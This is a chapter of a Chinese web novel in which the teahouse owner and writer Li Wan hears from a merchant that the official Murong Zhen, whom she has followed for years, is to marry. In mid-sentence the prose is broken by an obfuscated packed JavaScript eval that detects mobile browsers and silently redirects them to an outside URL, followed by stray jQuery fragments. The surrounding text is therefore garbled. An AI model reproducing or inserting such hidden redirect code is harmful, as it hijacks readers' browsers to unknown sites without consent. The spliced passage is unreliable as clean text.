五年后。


    昆州，茶山镇。


    此镇因百姓擅种茶树，山中盛产茶叶而得名，镇上人家多以贩茶为生，茶楼茶馆更是遍地开花。


    夕阳西下，一支满载货物的商队风尘仆仆地穿过镇上主街，停在路旁一家名叫“晚点”的茶楼前。见领头的商人牵着马停下，后面一个负责护卫的络腮胡汉子扬声问道：“三爷不赶着回家，来这茶楼做甚？”


    另一个护卫拿手肘戳了戳他：“不知道了吧？三爷这是急着见茶楼那位李老板呢！”


    蒋叔鸿清咳一声，转过身来望着几人，不苟言笑道：“胡吣什么？咱们走前，李老板托我给她打听消息，这一趟咱们走了三个多月，人家必定要等急了。”


    “李老板哪回不托三爷？”那络腮胡汉子不解道，“真不知道，什么消息值当她打听三年？”


    另一人却打趣道：“别不是郎有情妾有意，搁这拿打听消息做幌子，与三爷眉目传情吧？”


    蒋叔鸿的脸立刻沉了下来，一双略显深邃的眼睛直直瞪着那护卫。


    “……”那人被他一瞪，慌忙扇了自己一巴掌，“三爷，我错了！”


    络腮胡汉子打圆场道：“这小子嘴上没把门，三爷别跟他计较！您快进去吧，指不定李老板还真等消息等急了呢！”


    蒋叔鸿脸色一缓，朝茶楼里面望了一眼，回头对这几人道：“她一个女子，本就谋生不易，你们上下嘴皮一碰，若是传扬开来，人家的名声就毁了。”


    “以后，别再让我听到这些浑话！”


    那人悻悻垂了头：“……是。”


    “好了，我去给她递个消息，你们先回会馆。”说罢，他将手中缰绳扔给护卫，自己一掀袍子进了茶楼。


    店内跑堂的见着他来，熟稔得很，一口一个“三爷”地将人迎上了二楼。


    “三爷，我们东家就在里面。”跑堂推开最里间的包厢门，在门口伸着手躬着腰请蒋叔鸿进去。


    蒋叔鸿见怪不怪，朝他点了下头，抬脚进门。


    二楼的包厢内轩窗大开，坐在窗边这个位置可以将一楼大厅的情形尽收眼底，底下说书人抑扬顿挫的声音清晰地传进来，看着一楼茶客们沉浸其中的表情，别有一番体验。


    窗边坐着的女子手上端着杯茶，目光一直落于窗外，怔怔出神。


    “李老板。”蒋叔鸿看了她一会儿，礼貌出声。


    李晚捏着茶杯的手不着痕迹地收紧，随后缓缓转过头来。


    她轻轻搁下茶杯，平静起身，朝着蒋叔鸿走了两步，浅浅一福：“蒋三爷一路辛苦。”


    她一身天青色绣花罗裙，衣襟和裙摆上绣着的白玉兰一如她给人的感觉，淡雅、娴静，又透着冷清。


    这般素净的打扮，偏偏被她头上那支老气横秋的金簪破坏了氛围，像是玉堆里混进个土疙瘩，扎眼得很。


    偏偏，李老板很喜欢这根簪子，几乎天天都戴着。


    蒋叔鸿从她发髻间收回目光，回之一礼。两人在窗前对坐，李晚为他斟茶。


    “京城那边的书铺说，上一批印出来的话本卖的很好，尤其是《戏娇娘》和《寻香记》这两本，很受京中闺阁女子的青睐。”蒋叔鸿喝了口茶，从怀里取出几张银票递了过去，“这些，是你那一份分红。”


    他说的这两本话本，是李晚今年的新作。


    她这几年，没少写小说。一开始是因为心中苦闷无处纾解，只能用文字倾述感情，后来为了生计，便干脆一头扎进了文字创作中。


    当时她跟着陈大稀里糊涂到了肃州，周围环境全然陌生，她一无住处二找不着活计，又不愿自卖为奴，只能咬着牙写书。靠着身上带出来的一些银钱，她在租住的柴房里没日没夜地熬了半年，最后拿着厚厚一沓手稿，四处请人说书。


    因她是女子，那些说书人往往连手稿都懒得看便拒绝了她，李晚被逼得没有办法，只能梳起妇人发髻，自取了“夜心先生”的笔名，声称这些手稿皆是她家中那位体弱多病的夫君所写，若没了这个生计，一家老小就得活活饿死。


    幸亏，一位常年在茶楼说书的老先生怜悯她，帮了她一把。


    只可惜，肃州的百姓多爱在茶楼听些吹拉弹唱，听说书的倒是少数，经那老先生指点，李晚得知江南一带的百姓更爱在茶楼听说书，她思虑几天，最终拍板南下。


    当初翠珠给她收拾包袱时，连着慕容真那本《昆州游记》也给塞了进去，李晚拿着那本游记忽然福至心灵，决定前往昆州。


    好在，昆州这座茶山小镇给了她一个全新的开始。


    她那些故事经过说书人的口在茶楼渐渐传扬开来，不仅让她赚了些散碎银子，还收获了一点名气。


    李晚受到鼓舞，越发投入到创作当中，后来，她用一年省吃俭用攒下来的银两在茶山镇买下一间茶楼，趁着夜心先生在小镇的名气越来越大，她开始在自家茶楼以“独家首发”的方式发布自己的新作，引来茶客无数，三年来提纯了不少书粉，这些人通通都成了晚点茶楼的常客。


    她便是在这茶楼中结识的蒋叔鸿，作为生意人，他向来出手阔绰，从不吝啬打赏茶楼里的说书先生。许是出于对商机的敏感，他主动接触了晚点茶楼的东家，得知茶楼主人是个女子，他也并未有丝毫看轻，而是认真地与李晚商讨将夜心先生的作品带去京城的可行性。


    得知他想通过商队将自己的作品带往京城，李晚几乎毫不犹豫就答应了。


    看着他递来的银票，李晚伸手接过，又从中抽了一张，推到蒋叔鸿面前：“这是咱们事先说好的，还请三爷笑纳。”


    蒋叔鸿看了一眼，并未推辞，转而问她：“这几个月，先生可有新作？”


    李晚点头，又摇头：“还未收尾，须得再等几日。”


    “嗯。”蒋叔鸿朝楼下看了一眼，道，“说新书的日子记得提前告诉我，顺便给我留间包厢。”


    李晚点头应下，沉默片刻，到底犹豫着开口：“京城……可有什么消息？”


    蒋叔鸿收回目光，看她一眼：“有。”


    李晚拿起杯子喝了口茶，等着他开口。


    “你让我打听的那位大人，今年年初已被皇上擢升为大司空，还兼受了太子少师一职。去年年底，他突然与宁国公府分了家，皇上在怀远坊给他赐了座宅邸，此外……”


    蒋叔鸿顿了一下，看着李晚道：“他好像，要娶妻了。”


    李晚手上的杯子忽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845497|184310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然一顿。


    短暂的沉默间，她伸手提起茶壶，给自己添茶，明亮的茶汤自杯中缓缓溢出，在桌上留下一片明显的水痕。


    蒋叔鸿注意到了，他思索片刻，问她：“你……为何三年来一直托我打听他的事？”


    每回他带着商队前往京城，李晚总要托他打听一个叫“慕容真”的人，不拘什么消息，只要是与那人有关的事，她都听得十分认真。


    以往听他说完那人的消息，她总会有片刻的神思不属，却是从未如方才那般失态过。


    许久，久到蒋叔鸿准备起身离去，李晚忽然低声开口：“……因为愧疚。”


    她声音发紧，说到“愧疚”二字，竟有些颤抖。


    蒋叔鸿愣了愣，到底没再追问下去。


    他将刚才那张银票推到对面，换了个话题：“下次去京城，我想在那边盘几间铺子，专门卖咱们茶山镇的茶，说夜心先生的书。这些，是提前支付给夜心先生的润笔费。”


    李晚压下情绪，抬眼看向他：“三爷一直想把生意做到京城去，此番总算是要如愿了。”说着，她双手端起茶盏，“我以茶代酒，先祝贺三爷。”


    蒋叔鸿饮下一杯茶，问她：“你呢，要不要随我去京城？”


    “去京城做生意？”李晚笑道，“我这点本钱，在茶山镇开家茶楼还行，去京城，恐怕连间铺面都租不起。”


    再者，茶楼的生意他已经捷足先登，她总不好和人家抢饭碗打擂台。


    蒋叔鸿欲言又止，最后垂眸道：“无妨，在茶山镇也挺好的，地方小，清静。”


    两人坐了一阵，眼看着茶楼要打烊，蒋叔鸿这才起身告辞。


    待送走蒋叔鸿，李晚吩咐跑堂收拾残局，自己则回到后院房内。她恍恍惚惚挨着书案坐下，将满桌的稿纸拿开，从桌上的锦盒里拿出一本《昆州日志》。


    翻开书封，一页页看过去，上面尽是零碎的记录。


    “永嘉二十三年春，慕容真高中状元，病中受职翰林院修撰。”


    “五月一十五日，慕容真受邀参加琼林苑宴，宴席之上，皇帝为其加冠，并亲赐表字。”


    “同日，慕容真打死府中一名丫鬟，被朝中御史参奏。”


    “永嘉二十四年夏，藏书阁失火，《九州邑志》被焚毁，慕容真向皇帝请缨，重新修撰《九州邑志》。同年十二月底，《新九州邑志》呈于御前，皇帝龙颜大悦，擢升慕容真为中书侍郎。”


    “永嘉二十五年初夏，芙蓉郡主病重，慕容真侍奉汤药，半月未曾上朝……”


    “同年腊月，西北一带遭遇雪灾，百姓冻死不计其数，慕容真在朝上向皇帝进言，要求免西北五城三年赋税，同时提出用皇商资格鼓励商贾捐钱粮以赈灾。”


    “永嘉二十六年春，中书令告老还乡，皇帝命慕容真暂代中书令一职。”


    翻至空白页，李晚提笔蘸墨，写下：“永嘉二十七年冬，慕容真与宁国公府分家，孤身搬至御赐宅邸。”


    “永嘉二十八年春，慕容真右迁，官拜大司空，兼任太子少师。”


    写到“即将娶妻”四个字，李晚久久不能回神。


    笔下墨团晕开，将那“娶妻”二字糊成狼藉一片。